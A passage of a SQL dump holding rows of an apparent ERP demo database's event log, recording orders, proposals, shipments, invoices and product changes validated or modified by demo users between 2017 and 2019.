00:05:01','2017-02-16 00:05:01',40,'AC_OTH_AUTO','Order CO7001-0010 validated','2017-02-16 00:05:01','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0010 validated\nAuthor: admin',38,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(270,'270',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0011 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0011 validated\nAuthor: admin',40,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(271,'271',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0012 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0012 validated\nAuthor: admin',43,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(272,'272',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0013 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0013 validated\nAuthor: admin',47,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(273,'273',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0014 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0014 validated\nAuthor: admin',48,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(274,'274',NULL,1,'2017-02-16 00:05:26','2017-02-16 00:05:26',40,'AC_OTH_AUTO','Order CO7001-0015 validated','2017-02-16 00:05:26','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0015 validated\nAuthor: admin',50,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(275,'275',NULL,1,'2017-02-16 00:05:26','2017-02-16 00:05:26',40,'AC_OTH_AUTO','Order CO7001-0016 validated','2017-02-16 00:05:26','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0016 validated\nAuthor: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(277,'277',NULL,1,'2017-02-16 00:05:35','2017-02-16 00:05:35',40,'AC_OTH_AUTO','Order CO7001-0018 validated','2017-02-16 00:05:35','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0018 validated\nAuthor: admin',62,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(278,'278',NULL,1,'2017-02-16 00:05:35','2017-02-16 00:05:35',40,'AC_OTH_AUTO','Order CO7001-0019 validated','2017-02-16 00:05:35','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0019 validated\nAuthor: admin',68,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(279,'279',NULL,1,'2017-02-16 00:05:36','2017-02-16 00:05:36',40,'AC_OTH_AUTO','Order CO7001-0020 validated','2017-02-16 00:05:36','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0020 validated\nAuthor: admin',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(281,'281',NULL,1,'2017-02-16 00:05:37','2017-02-16 00:05:37',40,'AC_OTH_AUTO','Order CO7001-0022 validated','2017-02-16 00:05:37','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0022 validated\nAuthor: admin',78,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(282,'282',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0023 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0023 validated\nAuthor: admin',81,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(283,'283',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0024 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0024 validated\nAuthor: admin',83,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(284,'284',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0025 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,2,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0025 validated\nAuthor: admin',84,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(285,'285',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0026 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0026 validated\nAuthor: admin',85,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(286,'286',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0027 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0027 validated\nAuthor: admin',88,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(287,'287',NULL,1,'2017-02-16 03:05:56','2017-02-16 03:05:56',40,'AC_OTH_AUTO','Commande CO7001-0016 classée Livrée','2017-02-16 03:05:56','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0016 classée Livrée\nAuteur: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(288,'288',NULL,1,'2017-02-16 03:06:01','2017-02-16 03:06:01',40,'AC_OTH_AUTO','Commande CO7001-0016 classée Facturée','2017-02-16 03:06:01','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0016 classée Facturée\nAuteur: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(294,'294',NULL,1,'2017-02-16 03:53:04','2017-02-16 03:53:04',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 03:53:04','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(295,'295',NULL,1,'2017-02-16 03:58:08','2017-02-16 03:58:08',40,'AC_OTH_AUTO','Expédition SH1702-0002 validée','2017-02-16 03:58:08','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Expédition SH1702-0002 validée\nAuteur: admin',3,'shipping',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(296,'296',NULL,1,'2017-02-16 04:12:29','2017-02-16 04:12:29',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 04:12:29','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(297,'297',NULL,1,'2017-02-16 04:14:20','2017-02-16 04:14:20',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 04:14:20','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(298,'298',NULL,1,'2017-02-16 01:44:58','2017-02-16 01:44:58',40,'AC_OTH_AUTO','Proposal PR1702-0009 validated','2017-02-16 01:44:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0009 validated\nAuthor: aeinstein',11,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(299,'299',NULL,1,'2017-02-16 01:45:44','2017-02-16 01:45:44',40,'AC_OTH_AUTO','Proposal PR1702-0010 validated','2017-02-16 01:45:44','2021-04-15 10:22:55',2,NULL,NULL,7,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0010 validated\nAuthor: demo',12,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(300,'300',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0011 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0011 validated\nAuthor: aeinstein',13,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(301,'301',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0012 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,3,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0012 validated\nAuthor: demo',14,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(302,'302',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0013 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,26,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0013 validated\nAuthor: demo',15,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(303,'303',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0014 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0014 validated\nAuthor: demo',16,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(304,'304',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0015 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0015 validated\nAuthor: aeinstein',17,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(305,'305',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0016 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,26,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0016 validated\nAuthor: demo',18,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(306,'306',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0017 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,12,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0017 validated\nAuthor: demo',19,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(307,'307',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0018 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0018 validated\nAuthor: aeinstein',20,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(308,'308',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0019 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0019 validated\nAuthor: aeinstein',21,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(309,'309',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0020 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0020 validated\nAuthor: aeinstein',22,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(310,'310',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0021 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',2,NULL,NULL,12,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0021 validated\nAuthor: demo',23,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(311,'311',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0022 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',2,NULL,NULL,7,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0022 validated\nAuthor: demo',24,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(312,'312',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0023 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',1,NULL,NULL,3,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0023 validated\nAuthor: aeinstein',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(313,'313',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0024 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0024 validated\nAuthor: demo',26,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(314,'314',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0025 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',1,NULL,NULL,6,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0025 validated\nAuthor: aeinstein',27,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(315,'315',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0026 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,19,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0026 validated\nAuthor: demo',28,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(316,'316',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0027 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0027 validated\nAuthor: demo',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(317,'317',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0028 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0028 validated\nAuthor: demo',30,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(318,'318',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0029 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',1,NULL,NULL,11,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0029 validated\nAuthor: aeinstein',31,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(319,'319',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0030 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,19,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0030 validated\nAuthor: demo',32,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(320,'320',NULL,1,'2017-02-16 04:46:31','2017-02-16 04:46:31',40,'AC_OTH_AUTO','Proposition PR1702-0026 signée','2017-02-16 04:46:31','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0026 signée\nAuteur: admin',28,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(321,'321',NULL,1,'2017-02-16 04:46:37','2017-02-16 04:46:37',40,'AC_OTH_AUTO','Proposition PR1702-0027 signée','2017-02-16 04:46:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0027 signée\nAuteur: admin',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(322,'322',NULL,1,'2017-02-16 04:46:42','2017-02-16 04:46:42',40,'AC_OTH_AUTO','Proposition PR1702-0028 refusée','2017-02-16 04:46:42','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0028 refusée\nAuteur: admin',30,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(323,'323',NULL,1,'2017-02-16 04:47:09','2017-02-16 04:47:09',40,'AC_OTH_AUTO','Proposition PR1702-0019 validée','2017-02-16 04:47:09','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0019 validée\nAuteur: admin',21,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(324,'324',NULL,1,'2017-02-16 04:47:25','2017-02-16 04:47:25',40,'AC_OTH_AUTO','Proposition PR1702-0023 signée','2017-02-16 04:47:25','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0023 signée\nAuteur: admin',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(325,'325',NULL,1,'2017-02-16 04:47:29','2017-02-16 04:47:29',40,'AC_OTH_AUTO','Proposition PR1702-0023 classée payée','2017-02-16 04:47:29','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0023 classée payée\nAuteur: admin',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(326,'326',NULL,1,'2017-02-17 16:07:18','2017-02-17 16:07:18',40,'AC_OTH_AUTO','Proposition PR1702-0021 validée','2017-02-17 16:07:18','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0021 validée\nAuteur: admin',23,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(327,'327',NULL,1,'2017-05-12 13:53:44','2017-05-12 13:53:44',40,'AC_OTH_AUTO','Email sent by MyBigCompany To Einstein','2017-05-12 13:53:44','2021-04-15 10:22:55',12,NULL,NULL,11,12,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Sender: MyBigCompany <myemail@mybigcompany.com>
\nReceiver(s): Einstein <genius@example.com>
\nBcc: Einstein <genius@example.com>
\nEMail topic: Test
\nEmail body:
\nTest\nAuthor: admin',11,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(328,'328',NULL,1,'2017-08-29 22:39:09','2017-08-29 22:39:09',40,'AC_OTH_AUTO','Invoice FA1601-0024 validated','2017-08-29 22:39:09','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice FA1601-0024 validated\nAuthor: admin',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(329,'329',NULL,1,'2019-09-26 13:38:11','2019-09-26 13:38:11',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-09-26 13:38:11','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(330,'330',NULL,1,'2019-09-26 13:49:21','2019-09-26 13:49:21',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-09-26 13:49:21','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(331,'331',NULL,1,'2019-09-26 17:33:37','2019-09-26 17:33:37',40,'AC_BILL_VALIDATE','Invoice FA1909-0025 validated','2019-09-26 17:33:37','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1909-0025 validated',218,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(333,'333',NULL,1,'2019-09-27 16:54:30','2019-09-27 16:54:30',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0031 validated','2019-09-27 16:54:30','2021-04-15 10:22:55',12,NULL,4,7,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0031 validated',10,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(335,'335',NULL,1,'2019-09-27 17:08:59','2019-09-27 17:08:59',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0032 validated','2019-09-27 17:08:59','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0032 validated',33,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(337,'337',NULL,1,'2019-09-27 17:13:13','2019-09-27 17:13:13',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0033 validated','2019-09-27 17:13:13','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 validated',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(338,'338',NULL,1,'2019-09-27 17:53:31','2019-09-27 17:53:31',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 17:53:31','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(339,'339',NULL,1,'2019-09-27 18:15:00','2019-09-27 18:15:00',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 18:15:00','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(340,'340',NULL,1,'2019-09-27 18:40:32','2019-09-27 18:40:32',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC 